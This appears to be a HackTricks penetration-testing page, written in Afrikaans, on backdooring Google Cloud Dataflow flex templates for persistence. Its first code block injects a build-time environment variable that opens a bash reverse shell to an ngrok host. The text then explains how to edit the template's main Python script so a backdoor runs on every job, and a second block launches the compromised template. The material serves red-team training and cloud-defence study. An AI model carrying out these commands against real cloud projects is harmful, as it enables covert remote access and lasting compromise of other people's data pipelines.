# GCP - Dataflow Persistence

{{#include ../../../banners/hacktricks-training.md}}

## Dataflow

### Onsigbare persistence in die geboude houer

Volgens die [**tutorial from the documentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) kan jy 'n nuwe (bv. python) flex template skep:

<details>

<summary>Skep Dataflow flex template met backdoor</summary>
```bash
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started

# Create repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python
gcloud storage buckets create gs://$REPOSITORY

# Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT \
--repository-format=docker \
--location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev

# Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
--sdk-language "PYTHON" \
--flex-template-base-image "PYTHON3" \
--metadata-file "metadata.json" \
--py-path "." \
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1
```
</details>

**Terwyl dit saamgebou word, sal jy 'n reverse shell kry** (jy kan env variables misbruik soos in die vorige voorbeeld of ander params wat die Docker file instel om arbitrêre dinge uit te voer). Op daardie stadium, binne die reverse shell, is dit moontlik om na die `/template` directory te gaan en die kode van die hoof python-skrip wat uitgevoer sal word te wysig (in ons voorbeeld is dit `getting_started.py`). Plaas jou backdoor hier sodat elke keer wanneer die job uitgevoer word, die backdoor ook uitgevoer sal word.

Dan, die volgende keer wanneer die job uitgevoer word, sal die gekompromitteerde container wat gebou is, uitgevoer word:

<details>

<summary>Voer Dataflow template uit</summary>
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1
```
</details>

{{#include ../../../banners/hacktricks-training.md}}
